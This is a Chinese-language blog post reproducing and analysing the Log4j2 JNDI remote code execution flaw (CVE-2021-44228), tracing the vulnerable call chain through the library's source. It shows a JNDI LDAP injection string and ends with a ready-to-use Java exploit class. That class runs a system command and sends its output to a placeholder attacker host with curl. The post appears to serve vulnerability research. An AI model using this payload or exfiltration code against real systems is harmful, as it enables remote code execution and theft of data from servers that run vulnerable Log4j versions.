Log4j2 CVE-2021-44228 漏洞复现&分析
一觉醒来,朋友圈和群像过年一样,一看原来是核弹漏洞 Log4j2 RCE 泄漏了,于是抽空做了漏洞复现和分析。

分析
先到 Github 看看官方修复了什么,从修复的内容对比找到漏洞点。 链接

经过一番搜寻,找到了一个看起来是判断是否允许使用 JDNI ,很有可能是这个lookup

在官方网站上找到Lookup发现支持很多种格式:
格式 | 说明 |
---|---|
ctx | Context Map Lookup |
docker | Docker Lookup |
env | Environment Lookup |
java | Java Lookup |
jndi | Jndi Lookup |
sys | System Properties Lookup |
... | ... |

JndiLookup允许通过JNDI检索变量
<File name="Application" fileName="application.log">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
</PatternLayout>
</File>
现在我以一个寻找 Log4j2 中 JNDI 漏洞的视角进行分析。
只要通过一个入口传入 ldap,让 JndiLookup 检索到,即可触发 RCE。那么就找呗,找到能触发JndiLookup
的调用。
首先找到 JndiLookup.lookup
继续跟进 Interpolator.lookup

StrSubstituto.substitute 这是一个私有方法,需要找到一个公有的调用链。

在StrSubstituto
里面找到 public 方法 raplace

接着找到调用这个方法的地方:LoggerConfig.log
,注意到这个类有个构造方法:
config.getStrSubstitutor().replace(event, prop.getValue()) //
public LoggerConfig() {
this.logEventFactory = LOG_EVENT_FACTORY;
this.level = Level.ERROR;
this.name = Strings.EMPTY;
this.properties = null;
this.propertiesRequireLookup = false;
this.config = null;
this.reliabilityStrategy = new DefaultReliabilityStrategy(this);
}
跟进 DefaultReliabilityStrategy.log

搜索reliabilityStrategy
找到他的get
方法,再搜索getReliabilityStrategy()
找到Logger.logMessage

找到logMessage
的调用点,妈呀,这边太多调用了,搜索了一下发现一般都是通过:
private static Logger LOG = LogManager.getLogger(Log4j2Test.class);
这样来调用的。找到LogManager

跟进 AbstractLogger.log
@Override
public void log(final Level level, final Marker marker, final CharSequence message, final Throwable throwable) {
if (isEnabled(level, marker, message, throwable)) {
logMessage(FQCN, level, marker, message, throwable);
}
}
这边会进行一个判断,需要isEnabled(level, marker, message, throwable)
返回True
才能进行logMessage
操作,继续跟进isEnabled
发现是对传入参数的level
进行检查。
到这里懒得找到哪配置 Level
了,直接将所有等级都测试一下子:
public static void main(String args[]) {
Logger logger = LogManager.getLogger(Log4j2JNDI.class);
// logger.error("${jndi:ldap://127.0.0.1:1389/RCE}");
logger.info("info");
logger.error("error");
logger.debug("debug");
logger.trace("trace");
logger.fatal("fatel");
}
/*
15:06:24.175 [main] ERROR Log4j2JNDI - error
15:06:24.177 [main] FATAL Log4j2JNDI - fatel
*/
也就是说默认情况下error
和fatal
都可以触发 Log4j2 的 RCE。

带回显的利用方式
直接贴代码了,已经在 Github 上开源:https://github.com/binganao/Log4j2-RCE
import java.io.InputStreamReader;
import java.io.LineNumberReader;
public class CommandExec {
public CommandExec() {
System.out.println("CommandExec Called!");
try {
String cmd = "whoami";
String result = "";
Process process = Runtime.getRuntime().exec(cmd);
// 获得标准流上的输出
InputStreamReader inputStreamReader = new InputStreamReader(process.getInputStream());
LineNumberReader consoleInput = new LineNumberReader(inputStreamReader);
String consoleInputLine;
while ((consoleInputLine = consoleInput.readLine()) != null) {
result += consoleInputLine;
}
java.lang.Runtime.getRuntime().exec("curl http://nc地址/" + result);
} catch (Exception e) {
System.out.println("Command Exec Failed!");
}
}
}